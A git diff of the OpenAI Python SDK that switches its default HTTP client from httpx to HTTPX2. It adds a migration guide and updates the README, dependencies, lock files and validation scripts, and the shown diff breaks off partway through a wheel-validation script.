requirements-dev.lock | 15 -
requirements.lock | 14 -
scripts/check-python-version-policy.py | 6 +-
scripts/utils/validate-bedrock-wheel.py | 12 +-
scripts/utils/validate-httpx2-wheel.py | 114 ++-
src/openai/__init__.py | 2 +-
src/openai/_base_client.py | 160 ++--
src/openai/_client.py | 70 +-
src/openai/_constants.py | 6 +-
src/openai/_exceptions.py | 24 +-
src/openai/_httpx2.py | 178 ++--
src/openai/_legacy_response.py | 20 +-
src/openai/_provider.py | 12 +-
src/openai/_response.py | 20 +-
src/openai/_streaming.py | 10 +-
src/openai/_types.py | 6 +-
src/openai/_utils/_logs.py | 6 +-
src/openai/_vendor/__init__.py | 1 +
src/openai/_vendor/httpx_aiohttp/FORK.md | 13 +
src/openai/_vendor/httpx_aiohttp/LICENSE | 27 +
src/openai/_vendor/httpx_aiohttp/README.md | 25 +
src/openai/_vendor/httpx_aiohttp/__init__.py | 9 +
src/openai/_vendor/httpx_aiohttp/client.py | 62 ++
src/openai/_vendor/httpx_aiohttp/transport.py | 201 +++++
src/openai/auth/_workload.py | 25 +-
src/openai/lib/_realtime.py | 6 +-
src/openai/lib/azure.py | 68 +-
src/openai/lib/bedrock.py | 36 +-
src/openai/providers/bedrock.py | 34 +-
.../admin/organization/admin_api_keys.py | 18 +-
.../admin/organization/audit_logs.py | 6 +-
.../admin/organization/certificates.py | 30 +-
.../admin/organization/data_retention.py | 10 +-
.../admin/organization/groups/groups.py | 22 +-
.../admin/organization/groups/roles.py | 18 +-
.../admin/organization/groups/users.py | 18 +-
.../resources/admin/organization/invites.py | 18 +-
.../admin/organization/projects/api_keys.py | 14 +-
.../organization/projects/certificates.py | 14 +-
.../organization/projects/data_retention.py | 10 +-
.../organization/projects/groups/groups.py | 18 +-
.../organization/projects/groups/roles.py | 18 +-
.../projects/hosted_tool_permissions.py | 10 +-
.../projects/model_permissions.py | 14 +-
.../admin/organization/projects/projects.py | 22 +-
.../organization/projects/rate_limits.py | 10 +-
.../admin/organization/projects/roles.py | 22 +-
.../projects/service_accounts/api_keys.py | 6 +-
.../service_accounts/service_accounts.py | 22 +-
.../organization/projects/spend_alerts.py | 22 +-
.../organization/projects/spend_limit.py | 14 +-
.../organization/projects/users/roles.py | 18 +-
.../organization/projects/users/users.py | 22 +-
.../resources/admin/organization/roles.py | 22 +-
.../admin/organization/spend_alerts.py | 22 +-
.../admin/organization/spend_limit.py | 14 +-
.../resources/admin/organization/usage.py | 46 +-
.../admin/organization/users/roles.py | 18 +-
.../admin/organization/users/users.py | 18 +-
src/openai/resources/audio/speech.py | 6 +-
src/openai/resources/audio/transcriptions.py | 28 +-
src/openai/resources/audio/translations.py | 18 +-
src/openai/resources/batches.py | 18 +-
src/openai/resources/beta/assistants.py | 22 +-
src/openai/resources/beta/chatkit/sessions.py | 10 +-
src/openai/resources/beta/chatkit/threads.py | 18 +-
.../resources/beta/realtime/realtime.py | 6 +-
.../resources/beta/realtime/sessions.py | 6 +-
.../beta/realtime/transcription_sessions.py | 6 +-
.../resources/beta/responses/input_items.py | 6 +-
.../resources/beta/responses/input_tokens.py | 6 +-
.../resources/beta/responses/responses.py | 50 +-
src/openai/resources/beta/threads/messages.py | 22 +-
.../resources/beta/threads/runs/runs.py | 98 +--
.../resources/beta/threads/runs/steps.py | 10 +-
src/openai/resources/beta/threads/threads.py | 50 +-
.../resources/chat/completions/completions.py | 42 +-
.../resources/chat/completions/messages.py | 6 +-
src/openai/resources/completions.py | 18 +-
src/openai/resources/containers/containers.py | 18 +-
.../resources/containers/files/content.py | 6 +-
.../resources/containers/files/files.py | 18 +-
.../resources/content_provenance_checks.py | 6 +-
.../resources/conversations/conversations.py | 18 +-
src/openai/resources/conversations/items.py | 18 +-
src/openai/resources/embeddings.py | 6 +-
src/openai/resources/evals/evals.py | 22 +-
.../resources/evals/runs/output_items.py | 10 +-
src/openai/resources/evals/runs/runs.py | 22 +-
src/openai/resources/files.py | 26 +-
.../resources/fine_tuning/alpha/graders.py | 10 +-
.../fine_tuning/checkpoints/permissions.py | 18 +-
.../resources/fine_tuning/jobs/checkpoints.py | 6 +-
src/openai/resources/fine_tuning/jobs/jobs.py | 30 +-
src/openai/resources/images.py | 38 +-
src/openai/resources/models.py | 14 +-
src/openai/resources/moderations.py | 6 +-
src/openai/resources/realtime/calls.py | 22 +-
.../resources/realtime/client_secrets.py | 6 +-
src/openai/resources/realtime/realtime.py | 6 +-
src/openai/resources/responses/input_items.py | 6 +-
.../resources/responses/input_tokens.py | 6 +-
src/openai/resources/responses/responses.py | 78 +-
src/openai/resources/skills/content.py | 6 +-
src/openai/resources/skills/skills.py | 22 +-
.../resources/skills/versions/content.py | 6 +-
.../resources/skills/versions/versions.py | 18 +-
src/openai/resources/uploads/parts.py | 6 +-
src/openai/resources/uploads/uploads.py | 14 +-
.../resources/vector_stores/file_batches.py | 22 +-
src/openai/resources/vector_stores/files.py | 30 +-
.../resources/vector_stores/vector_stores.py | 26 +-
src/openai/resources/videos.py | 46 +-
tests/_httpx2_respx.py | 92 ---
tests/api_resources/audio/test_speech.py | 52 +-
.../containers/files/test_content.py | 56 +-
tests/api_resources/realtime/test_calls.py | 52 +-
tests/api_resources/skills/test_content.py | 44 +-
.../skills/versions/test_content.py | 56 +-
tests/api_resources/test_files.py | 44 +-
tests/api_resources/test_videos.py | 58 +-
tests/conftest.py | 29 +-
tests/lib/chat/test_completions.py | 90 +-
tests/lib/chat/test_completions_streaming.py | 108 +--
tests/lib/responses/test_responses.py | 8 +-
tests/lib/snapshots.py | 28 +-
tests/lib/test_azure.py | 104 +--
tests/lib/test_bedrock.py | 265 +++---
tests/lib/test_bedrock_auth_conformance.py | 74 +-
tests/lib/test_bedrock_credential_chain.py | 26 +-
tests/lib/test_bedrock_provider.py | 146 ++--
tests/respx2/FORK.md | 13 +
tests/respx2/LICENSE.md | 29 +
tests/respx2/README.md | 84 ++
tests/respx2/__init__.py | 56 ++
tests/respx2/__version__.py | 1 +
tests/respx2/api.py | 116 +++
tests/respx2/fixtures.py | 12 +
tests/respx2/handlers.py | 41 +
tests/respx2/mocks.py | 339 ++++++++
tests/respx2/models.py | 550 ++++++++++++
tests/respx2/patterns.py | 782 ++++++++++++++++++
tests/respx2/plugin.py | 30 +
tests/respx2/py.typed | 0
tests/respx2/router.py | 486 +++++++++++
tests/respx2/transports.py | 93 +++
tests/respx2/types.py | 71 ++
tests/respx2/utils.py | 157 ++++
tests/test_auth.py | 60 +-
tests/test_client.py | 674 +++++++--------
tests/test_httpx2.py | 107 ++-
tests/test_httpx2_base.py | 75 +-
tests/test_httpx2_respx.py | 40 +-
tests/test_httpx2_workload.py | 48 +-
tests/test_httpx_compat.py | 88 ++
tests/test_legacy_response.py | 16 +-
tests/test_module_client.py | 26 +-
tests/test_response.py | 34 +-
tests/test_streaming.py | 6 +-
tests/test_utils/test_logging.py | 15 +
uv.lock | 68 +-
165 files changed, 5954 insertions(+), 2681 deletions(-)
create mode 100644 httpx2.md
create mode 100644 src/openai/_vendor/__init__.py
create mode 100644 src/openai/_vendor/httpx_aiohttp/FORK.md
create mode 100644 src/openai/_vendor/httpx_aiohttp/LICENSE
create mode 100644 src/openai/_vendor/httpx_aiohttp/README.md
create mode 100644 src/openai/_vendor/httpx_aiohttp/__init__.py
create mode 100644 src/openai/_vendor/httpx_aiohttp/client.py
create mode 100644 src/openai/_vendor/httpx_aiohttp/transport.py
delete mode 100644 tests/_httpx2_respx.py
create mode 100644 tests/respx2/FORK.md
create mode 100644 tests/respx2/LICENSE.md
create mode 100644 tests/respx2/README.md
create mode 100644 tests/respx2/__init__.py
create mode 100644 tests/respx2/__version__.py
create mode 100644 tests/respx2/api.py
create mode 100644 tests/respx2/fixtures.py
create mode 100644 tests/respx2/handlers.py
create mode 100644 tests/respx2/mocks.py
create mode 100644 tests/respx2/models.py
create mode 100644 tests/respx2/patterns.py
create mode 100644 tests/respx2/plugin.py
create mode 100644 tests/respx2/py.typed
create mode 100644 tests/respx2/router.py
create mode 100644 tests/respx2/transports.py
create mode 100644 tests/respx2/types.py
create mode 100644 tests/respx2/utils.py
create mode 100644 tests/test_httpx_compat.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 530b190a4f..7f2789e84c 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,6 +1,6 @@
schema_version: 1
-generation_id: e1943695-9da0-4ac1-ae5a-cc763f5d90be
+generation_id: 6f16b5a1-6b31-43ea-a1dd-a1a9fc37821e
openapi_spec_hash: 1faf0319c407c6534ef7c381614afbb6
openapi_transformed_spec_hash: 53eff50caa9d18046e4ff0615bc7512d
config_hash: 4617b0962f16d328804312ac81aac630
-codegen_sha: b97c76f867d26f99d0de01d6283fa6d511044141
+codegen_sha: 20f59b5cced5772bda4c6d6e3e19726d3805e4a1
diff --git a/README.md b/README.md
index b5774f4c94..a8b39edfa7 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
The OpenAI Python library provides convenient access to the OpenAI REST API from any Python 3.10+
application. The library includes type definitions for all request params and response fields,
-and offers both synchronous and asynchronous clients powered by [httpx](https://github.com/encode/httpx).
+and offers both synchronous and asynchronous clients powered by [HTTPX2](https://httpx2.pydantic.dev/).
It is generated from our [OpenAPI specification](https://github.com/openai/openai-openapi) with [Stainless](https://stainlessapi.com/).
@@ -244,9 +244,7 @@ Functionality between the synchronous and asynchronous clients is otherwise iden
### With aiohttp
-By default, the async client uses `httpx` for HTTP requests. However, for improved concurrency performance you may also use `aiohttp` as the HTTP backend.
-
-The `aiohttp` backend requires Python 3.10 or later.
+By default, the async client uses HTTPX2. For improved concurrency performance, you may also use `aiohttp` as the HTTPX2 transport.
You can enable this by installing `aiohttp`:
@@ -283,32 +281,9 @@ async def main() -> None:
asyncio.run(main())
```
-### Experimental HTTPX2 support
-
-To opt in to experimental HTTPX2 support, install the optional extra on Python 3.10 or later:
-
-```sh
-pip install 'openai[httpx2]'
-```
-
-```python
-from openai import OpenAI, AsyncOpenAI, DefaultHttpx2Client, DefaultAsyncHttpx2Client
-
-client = OpenAI(http_client=DefaultHttpx2Client())
-async_client = AsyncOpenAI(http_client=DefaultAsyncHttpx2Client())
-```
-
-See [`examples/httpx2_client.py`](examples/httpx2_client.py) for a minimal runnable example.
+### HTTPX2 migration
-The module-level client can be configured in the same way:
-
-```python
-import openai
-
-openai.http_client = openai.DefaultHttpx2Client()
-```
-
-Parsed API models are unchanged, but requests, raw and streaming responses, and transport-level exceptions may be HTTPX2 objects at runtime. Code that catches HTTPX exceptions or relies on HTTPX-specific mocks, transports, authentication, hooks, or instrumentation may need to be updated. Transport-facing type annotations may still describe HTTPX.
+HTTPX2 is the default HTTP client. If you configure a custom HTTP client, transport, timeout, authentication handler, event hook, or request mock, see the [HTTPX2 migration guide](httpx2.md).
## Streaming responses
@@ -636,7 +611,7 @@ try:
)
except openai.APIConnectionError as e:
print("The server could not be reached")
- print(e.__cause__) # an underlying Exception, likely raised within httpx.
+ print(e.__cause__) # an underlying Exception, likely raised within HTTPX2.
except openai.RateLimitError as e:
print("A 429 status code was received; we should back off a bit.")
except openai.APIStatusError as e:
@@ -723,9 +698,10 @@ client.with_options(max_retries=5).chat.completions.create(
## Timeouts
By default requests time out after 10 minutes. You can configure this with a `timeout` option,
-which accepts a float or an [`httpx.Timeout`](https://www.python-httpx.org/advanced/timeouts/#fine-tuning-the-configuration) object:
+which accepts a float or an [`httpx2.Timeout`](https://httpx2.pydantic.dev/) object:
```python
+import httpx2
from openai import OpenAI
# Configure the default for all requests:
@@ -736,7 +712,7 @@ client = OpenAI(
# More granular control:
client = OpenAI(
- timeout=httpx.Timeout(60.0, read=5.0, write=10.0, connect=2.0),
+ timeout=httpx2.Timeout(60.0, read=5.0, write=10.0, connect=2.0),
)
# Override per-request:
@@ -849,11 +825,11 @@ To make requests to undocumented endpoints, you can make requests using `client.
http verbs. Options on the client will be respected (such as retries) when making this request.
```py
-import httpx
+import httpx2
response = client.post(
"/foo",
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
body={"my_param": True},
)
@@ -873,22 +849,18 @@ can also get all the extra fields on the Pydantic model as a dict with
### Configuring the HTTP client
-You can directly override the [httpx client](https://www.python-httpx.org/api/#client) to customize it for your use case, including:
-
-- Support for [proxies](https://www.python-httpx.org/advanced/proxies/)
-- Custom [transports](https://www.python-httpx.org/advanced/transports/)
-- Additional [advanced](https://www.python-httpx.org/advanced/clients/) functionality
+You can override the [HTTPX2 client](https://httpx2.pydantic.dev/) to customize proxies, transports, authentication, event hooks, and other advanced HTTP behavior. See the [HTTPX2 migration guide](httpx2.md) when updating an existing custom client.
```python
-import httpx
-from openai import OpenAI, DefaultHttpxClient
+import httpx2
+from openai import OpenAI, DefaultHttpx2Client
client = OpenAI(
# Or use the `OPENAI_BASE_URL` env var
base_url="http://my.test.server.example.com:8083/v1",
- http_client=DefaultHttpxClient(
+ http_client=DefaultHttpx2Client(
proxy="http://my.test.proxy.example.com",
- transport=httpx.HTTPTransport(local_address="0.0.0.0"),
+ transport=httpx2.HTTPTransport(local_address="0.0.0.0"),
),
)
```
@@ -896,7 +868,7 @@ client = OpenAI(
You can also customize the client on a per-request basis by using `with_options()`:
```python
-client.with_options(http_client=DefaultHttpxClient(...))
+client.with_options(http_client=DefaultHttpx2Client(...))
```
#### Mutual TLS
@@ -913,7 +885,7 @@ and pass it through the custom HTTP client:
import os
import ssl
-from openai import OpenAI, DefaultHttpxClient
+from openai import OpenAI, DefaultHttpx2Client
# Server trust is configured independently. Without `cafile`, this uses the
# operating system's normal trusted certificate authorities.
@@ -938,7 +910,7 @@ client = OpenAI(
),
# A client certificate belongs to the HTTP client, not the base URL.
# Disable redirects so it cannot follow a response to another origin.
- http_client=DefaultHttpxClient(
+ http_client=DefaultHttpx2Client(
verify=ssl_context,
follow_redirects=False,
),
@@ -951,7 +923,7 @@ The async configuration is equivalent:
import os
import ssl
-from openai import AsyncOpenAI, DefaultAsyncHttpxClient
+from openai import AsyncOpenAI, DefaultAsyncHttpx2Client
ssl_context = ssl.create_default_context(
cafile=os.environ.get("OPENAI_MTLS_CA_BUNDLE"),
@@ -968,27 +940,7 @@ client = AsyncOpenAI(
"OPENAI_BASE_URL",
"https://mtls.api.openai.com/v1",
),
- http_client=DefaultAsyncHttpxClient(
- verify=ssl_context,
- follow_redirects=False,
- ),
-)
-```
-
-Experimental HTTPX2 uses the same native `SSLContext`. Install the optional
-extra with `pip install 'openai[httpx2]'`, then use `DefaultHttpx2Client` or
-`DefaultAsyncHttpx2Client` in place of the corresponding HTTPX client above:
-
-```python
-from openai import OpenAI, DefaultHttpx2Client
-
-client = OpenAI(
- api_key=os.environ["OPENAI_API_KEY"],
- base_url=os.environ.get(
- "OPENAI_BASE_URL",
- "https://mtls.api.openai.com/v1",
- ),
- http_client=DefaultHttpx2Client(
+ http_client=DefaultAsyncHttpx2Client(
verify=ssl_context,
follow_redirects=False,
),
@@ -1001,7 +953,7 @@ See the complete [sync HTTPX2](examples/mtls_httpx2.py) and
The certificate-bearing HTTP client is transport-wide. Dedicate it to the
selected mTLS origin; do not reuse it for other services or pass it through
`with_options()` with a different `base_url`. If redirects are required, add an
-HTTPX request hook that rejects requests whose scheme, host, or port differs
+HTTPX2 request hook that rejects requests whose scheme, host, or port differs
from the configured mTLS origin before enabling `follow_redirects`.
`SSLContext.load_cert_chain()` raises during setup for unreadable or malformed
diff --git a/httpx2.md b/httpx2.md
new file mode 100644
index 0000000000..044be5a533
--- /dev/null
+++ b/httpx2.md
@@ -0,0 +1,301 @@
+# Migrating to HTTPX2
+
+The OpenAI Python SDK now uses [HTTPX2](https://httpx2.pydantic.dev/) for its
+synchronous and asynchronous HTTP clients. HTTPX2 is installed automatically
+with `openai`; the previous `httpx` package is not. This guide explains what
+changes for applications that interact with the SDK's HTTP layer.
+
+## If you use the SDK's default HTTP client
+
+If you construct an `OpenAI` or
+`AsyncOpenAI` client without providing `http_client`, your existing API calls,
+parsed response models, streaming APIs, authentication, retries, and numeric
+timeouts continue to work:
+
+```python
+from openai import OpenAI
+
+client = OpenAI(timeout=30.0)
+response = client.responses.create(model="gpt-5.5", input="Hello")
+```
+
+No HTTPX2 extra or separate installation is required:
+
+```sh
+pip install openai
+```
+
+If your application imported `httpx` only because an earlier SDK installed it
+transitively, add your own `httpx` dependency or migrate those imports to
+`httpx2`. Installing the SDK no longer installs `httpx` for you.
+
+## TLS certificates and trust stores
+
+**HTTPX2 changes the default TLS trust store, including for applications that
+use the SDK's default HTTP client.** HTTPX previously verified certificates
+against the CA bundle provided by `certifi`. HTTPX2 instead uses the
+operating-system trust store, and the SDK no longer installs `certifi`.
+
+This can break certificate verification in minimal container images without
+system CA certificates, environments using corporate TLS-inspecting proxies,
+and deployments that relied on a custom or modified `certifi` bundle. Install
+the required CA certificates in the operating-system trust store, or configure
+an explicit certificate bundle:
+
+```sh
+export SSL_CERT_FILE=/path/to/ca-bundle.pem
+```
+
+Alternatively, configure a directory of trusted CA certificates:
+
+```sh
+export SSL_CERT_DIR=/path/to/ca-directory
+```
+
+These environment variables are honored when `trust_env=True`, which is the
+default. To control trust explicitly on a custom client, pass an
+`ssl.SSLContext` through `verify`:
+
+```python
+import ssl
+from openai import OpenAI, DefaultHttpx2Client
+
+ssl_context = ssl.create_default_context(cafile="/path/to/ca-bundle.pem")
+client = OpenAI(http_client=DefaultHttpx2Client(verify=ssl_context))
+```
+
+Use `DefaultAsyncHttpx2Client(verify=ssl_context)` for the equivalent async
+configuration. The SDK's aiohttp transport uses the same HTTPX2 TLS settings.
+
+## If you provide a custom HTTP client
+
+Use HTTPX2 clients and HTTPX2 configuration objects. The SDK provides helpers
+that preserve its recommended timeout, connection-pool, and redirect defaults:
+
+```python
+import httpx2
+from openai import OpenAI, AsyncOpenAI, DefaultHttpx2Client, DefaultAsyncHttpx2Client
+
+proxy_client = OpenAI(http_client=DefaultHttpx2Client(proxy="http://proxy.example.com:8080"))
+
+transport_client = OpenAI(
+ http_client=DefaultHttpx2Client(
+ transport=httpx2.HTTPTransport(local_address="0.0.0.0"),
+ timeout=httpx2.Timeout(30.0, connect=5.0),
+ )
+)
+
+async_client = AsyncOpenAI(http_client=DefaultAsyncHttpx2Client(timeout=httpx2.Timeout(30.0)))
+```
+
+Directly constructed `httpx2.Client` and `httpx2.AsyncClient` instances are
+also supported. When you construct a client directly, its own HTTPX2 defaults
+apply unless you configure them yourself.
+
+The existing `DefaultHttpxClient` and `DefaultAsyncHttpxClient` names continue
+to work, but now construct HTTPX2 clients. Prefer `DefaultHttpx2Client` and
+`DefaultAsyncHttpx2Client` when making the HTTP client family explicit.
+
+Module-level configuration follows the same rule:
+
+```python
+import openai
+
+openai.http_client = openai.DefaultHttpx2Client()
+```
+
+## Timeouts, URLs, transports, and connection settings
+
+Replace HTTPX-specific objects with the corresponding HTTPX2 objects:
+
+| Previous object | HTTPX2 object |
+| --- | --- |
+| `httpx.Client` | `httpx2.Client` |
+| `httpx.AsyncClient` | `httpx2.AsyncClient` |
+| `httpx.Timeout` | `httpx2.Timeout` |
+| `httpx.URL` | `httpx2.URL` |
+| `httpx.Limits` | `httpx2.Limits` |
+| `httpx.HTTPTransport` | `httpx2.HTTPTransport` |
+| `httpx.AsyncHTTPTransport` | `httpx2.AsyncHTTPTransport` |
+| `httpx.MockTransport` | `httpx2.MockTransport` |
+
+For example, a granular SDK timeout becomes:
+
+```python
+import httpx2
+from openai import OpenAI
+
+client = OpenAI(timeout=httpx2.Timeout(60.0, connect=5.0, read=20.0))
+```
+
+Numeric timeout values do not change. Existing string URLs do not change.
+Custom transport subclasses, mounted transports, proxy integrations, and
+connection-pool instrumentation must target HTTPX2's transport interfaces.
+
+## Authentication and event hooks
+
+Authentication handlers and hooks receive HTTPX2 request and response objects.
+Update custom auth classes and annotations accordingly:
+
+```python
+import httpx2
+from openai import OpenAI, DefaultHttpx2Client
+
+
+def log_request(request: httpx2.Request) -> None:
+ print(request.method, request.url)
+
+
+client = OpenAI(http_client=DefaultHttpx2Client(event_hooks={"request": [log_request]}))
+```
+
+If you subclass an HTTP authentication or transport interface, subclass the
+matching `httpx2` class. Third-party instrumentation, tracing middleware, and
+auth integrations must explicitly support HTTPX2.
+
+## Raw responses, streaming, and exceptions
+
+Parsed SDK response models are unchanged. When using a native HTTPX2 client,
+transport-facing objects belong to HTTPX2:
+
+```python
+import httpx2
+from openai import OpenAI
+
+client = OpenAI()
+response = client.models.with_raw_response.list()
+
+assert isinstance(response.http_response, httpx2.Response)
+assert isinstance(response.http_request, httpx2.Request)
+```
+
+With a native client, use `cast_to=httpx2.Response` when requesting an unparsed
+HTTP response. Streaming response wrappers also expose HTTPX2 response objects.
+Application code should usually catch SDK exceptions such as
+`openai.APITimeoutError` and `openai.APIConnectionError`; with a native client,
+an exception's underlying transport cause is an HTTPX2 exception.
+
+These type guarantees apply only to native HTTPX2 clients. An injected legacy
+HTTPX client produces `httpx.Request`, `httpx.Response`, and HTTPX transport
+exceptions instead, even if `cast_to=httpx2.Response` is supplied.
+
+## aiohttp
+
+The supported aiohttp extra uses an HTTPX2-native transport. It does not
+install legacy HTTPX or the external `httpx-aiohttp` adapter:
+
+```sh
+pip install 'openai[aiohttp]'
+```
+
+```python
+from openai import AsyncOpenAI, DefaultAioHttpClient
+
+client = AsyncOpenAI(http_client=DefaultAioHttpClient())
+```
+
+`DefaultAioHttpClient()` is an `httpx2.AsyncClient`. Applications using this
+helper do not need to construct or import the transport directly.
+
+## Request mocking and tests
+
+Mocks must intercept HTTPX2 requests and return HTTPX2 responses. For example:
+
+```python
+import httpx2
+from openai import OpenAI
+
+
+def handler(request: httpx2.Request) -> httpx2.Response:
+ return httpx2.Response(
+ 200,
+ request=request,
+ json={"object": "list", "data": []},
+ )
+
+
+client = OpenAI(http_client=httpx2.Client(transport=httpx2.MockTransport(handler)))
+assert client.models.list().data == []
+```
+
+If your test suite uses RESPX, update to an HTTPX2-compatible RESPX version or
+fork. A RESPX version that patches only legacy HTTPX cannot intercept the SDK's
+default HTTPX2 client. If you cannot migrate that integration immediately, the
+temporary legacy-client escape hatch below lets existing HTTPX-only RESPX
+setups continue to work while you migrate.
+
+## Temporary escape hatch: a legacy HTTPX client
+
+Applications that depend on an HTTPX-only transport, integration, or mocking
+library can explicitly install legacy HTTPX and inject a legacy client:
+
+```sh
+pip install openai httpx
+```
+
+**Legacy HTTPX support is runtime-only.** The SDK's public type annotations
+accept HTTPX2 clients, so passing a legacy client directly fails static type
+checking in mypy, Pyright, and similar tools. Use `cast(Any, ...)` or a
+targeted type-ignore when deliberately choosing this compatibility path:
+
+```python
+from typing import Any, cast
+
+import httpx
+from openai import OpenAI
+
+client = OpenAI(http_client=cast(Any, httpx.Client()))
+```
+
+The asynchronous form requires the same workaround:
+
+```python
+from typing import Any, cast
+
+import httpx
+from openai import AsyncOpenAI
+
+client = AsyncOpenAI(http_client=cast(Any, httpx.AsyncClient()))
+```
+
+Legacy clients preserve the HTTPX request, response, and exception families.
+Request raw responses as `httpx.Response`, using the same type-checking
+workaround for the legacy response class:
+
+```python
+from typing import Any, cast
+
+import httpx
+from openai import OpenAI
+
+client = OpenAI(http_client=cast(Any, httpx.Client()))
+response = client.get("/models", cast_to=cast(Any, httpx.Response))
+
+assert isinstance(response, httpx.Response)
+```
+
+Passing `cast_to=httpx2.Response` does not convert a legacy HTTPX response into
+an HTTPX2 response. Install and maintain the legacy dependency yourself.
+Legacy HTTPX support is provided as a migration aid and may be discontinued.
+
+### Existing legacy aiohttp adapters
+
+If you must retain an existing `httpx-aiohttp` integration, install it
+explicitly and inject its legacy client:
+
+```sh
+pip install openai httpx-aiohttp
+```
+
+```python
+from typing import Any, cast
+
+from httpx_aiohttp import HttpxAiohttpClient
+from openai import AsyncOpenAI
+
+client = AsyncOpenAI(http_client=cast(Any, HttpxAiohttpClient()))
+```
+
+This path is covered by dedicated compatibility tests, including a real
+request through the aiohttp transport, but remains a temporary escape hatch.
+Prefer `openai[aiohttp]` and `DefaultAioHttpClient()` for new code.
diff --git a/pyproject.toml b/pyproject.toml
index aa51d75238..a23c2f36fe 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -9,10 +9,10 @@ authors = [
]
dependencies = [
- "httpx>=0.23.0, <1",
+ "httpx2>=2.7.0, <3",
"pydantic>=1.9.0, <3",
"typing-extensions>=4.14, <5",
- "anyio>=3.5.0, <5",
+ "anyio>=4.10.0, <5",
"distro>=1.7.0, <2",
"sniffio",
"tqdm > 4",
@@ -44,12 +44,6 @@ Repository = "https://github.com/openai/openai-python"
[project.optional-dependencies]
aiohttp = [
"aiohttp>=3.14.1",
- "httpx_aiohttp>=0.1.9",
-]
-httpx2 = [
- "httpx>=0.25.1, <1",
- "httpx2>=2.7.0, <3",
- "anyio>=4.10.0, <5",
]
realtime = ["websockets >= 13, < 16"]
datalib = ["numpy >= 1", "pandas >= 1.2.3", "pandas-stubs >= 1.1.0.11"]
@@ -64,7 +58,6 @@ managed = true
dev-dependencies = [
"pyright==1.1.399",
"mypy==1.17",
- "respx",
"pytest",
"pytest-asyncio",
"jsonschema>=4.23.0",
@@ -177,6 +170,8 @@ exclude = [
".venv",
".nox",
".git",
+ "tests/respx2",
+ "src/openai/_vendor",
# uses inline `uv` script dependencies
# which means it can't be type checked
@@ -205,6 +200,7 @@ show_error_codes = true
# which means it can't be type checked
exclude = [
'src/openai/_files.py',
+ 'src/openai/_vendor/.*',
'_dev/.*.py',
'tests/.*',
'src/openai/_utils/_logs.py',
@@ -252,6 +248,7 @@ ignore_errors = true
ignore_missing_imports = true
[tool.ruff]
+extend-exclude = ["tests/respx2", "src/openai/_vendor"]
line-length = 120
output-format = "grouped"
target-version = "py310"
diff --git a/requirements-dev.lock b/requirements-dev.lock
index 40db36e36c..efb71cd787 100644
--- a/requirements-dev.lock
+++ b/requirements-dev.lock
@@ -13,14 +13,12 @@
aiohappyeyeballs==2.7.1
# via aiohttp
aiohttp==3.14.1
- # via httpx-aiohttp
# via openai
aiosignal==1.4.0
# via aiohttp
annotated-types==0.7.0
# via pydantic
anyio==4.12.1
- # via httpx
# via httpx2
# via openai
argcomplete==3.6.3
@@ -44,8 +42,6 @@ backports-asyncio-runner==1.2.0 ; python_full_version < '3.11'
botocore==1.42.97
# via openai
certifi==2026.1.4
- # via httpcore
- # via httpx
# via requests
cffi==2.0.0
# via cryptography
@@ -86,25 +82,15 @@ frozenlist==1.8.0
# via aiosignal
griffe==1.14.0
h11==0.16.0
- # via httpcore
# via httpcore2
-httpcore==1.0.9
- # via httpx
httpcore2==2.7.0
# via httpx2
-httpx==0.28.1
- # via httpx-aiohttp
- # via openai
- # via respx
-httpx-aiohttp==0.1.12
- # via openai
httpx2==2.7.0
# via openai
humanize==4.13.0
# via nox
idna==3.18
# via anyio
- # via httpx
# via httpx2
# via requests
# via trio
@@ -196,7 +182,6 @@ referencing==0.36.2
requests==2.32.5
# via azure-core
# via msal
-respx==0.22.0
rich==14.2.0
# via inline-snapshot
rpds-py==0.27.1
diff --git a/requirements.lock b/requirements.lock
index 7ec347011b..0323bd6066 100644
--- a/requirements.lock
+++ b/requirements.lock
@@ -13,14 +13,12 @@
aiohappyeyeballs==2.7.1
# via aiohttp
aiohttp==3.14.1
- # via httpx-aiohttp
# via openai
aiosignal==1.4.0
# via aiohttp
annotated-types==0.7.0
# via pydantic
anyio==4.12.1
- # via httpx
# via httpx2
# via openai
async-timeout==5.0.1 ; python_full_version < '3.11'
@@ -29,9 +27,6 @@ attrs==26.1.0
# via aiohttp
botocore==1.42.97
# via openai
-certifi==2026.1.4
- # via httpcore
- # via httpx
cffi==2.0.0
# via sounddevice
colorama==0.4.6 ; sys_platform == 'win32'
@@ -44,22 +39,13 @@ frozenlist==1.8.0
# via aiohttp
# via aiosignal
h11==0.16.0
- # via httpcore
# via httpcore2
-httpcore==1.0.9
- # via httpx
httpcore2==2.7.0
# via httpx2
-httpx==0.28.1
- # via httpx-aiohttp
- # via openai
-httpx-aiohttp==0.1.12
- # via openai
httpx2==2.7.0
# via openai
idna==3.18
# via anyio
- # via httpx
# via httpx2
# via yarl
jiter==0.12.0
diff --git a/scripts/check-python-version-policy.py b/scripts/check-python-version-policy.py
index 16217267c0..ca74199485 100644
--- a/scripts/check-python-version-policy.py
+++ b/scripts/check-python-version-policy.py
@@ -8,10 +8,8 @@
MINIMUM = SUPPORTED[0]
CURRENT_STABLE = SUPPORTED[-1]
PRERELEASE = "3.15"
-UNMARKED_OPTIONAL_DEPENDENCIES = (
+UNMARKED_DEPENDENCIES = (
"aiohttp>=3.14.1",
- "httpx_aiohttp>=0.1.9",
- "httpx>=0.25.1, <1",
"httpx2>=2.7.0, <3",
"anyio>=4.10.0, <5",
"botocore>=1.40.0,<2",
@@ -124,7 +122,7 @@ def main() -> None:
)
project_metadata = pyproject.split("[tool.rye]", 1)[0]
- for requirement in UNMARKED_OPTIONAL_DEPENDENCIES:
+ for requirement in UNMARKED_DEPENDENCIES:
require(
f'"{requirement}"' in project_metadata,
f"Package metadata does not contain the unmarked requirement {requirement!r}",
diff --git a/scripts/utils/validate-bedrock-wheel.py b/scripts/utils/validate-bedrock-wheel.py
index ea4abdc74e..e0bf4f5890 100644
--- a/scripts/utils/validate-bedrock-wheel.py
+++ b/scripts/utils/validate-bedrock-wheel.py
@@ -14,7 +14,7 @@
import importlib.abc
from pathlib import Path
-import httpx
+import httpx2
class BlockBotocore(importlib.abc.MetaPathFinder):
@@ -39,22 +39,22 @@ def find_spec(self, fullname, path=None, target=None):
def handler(request):
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
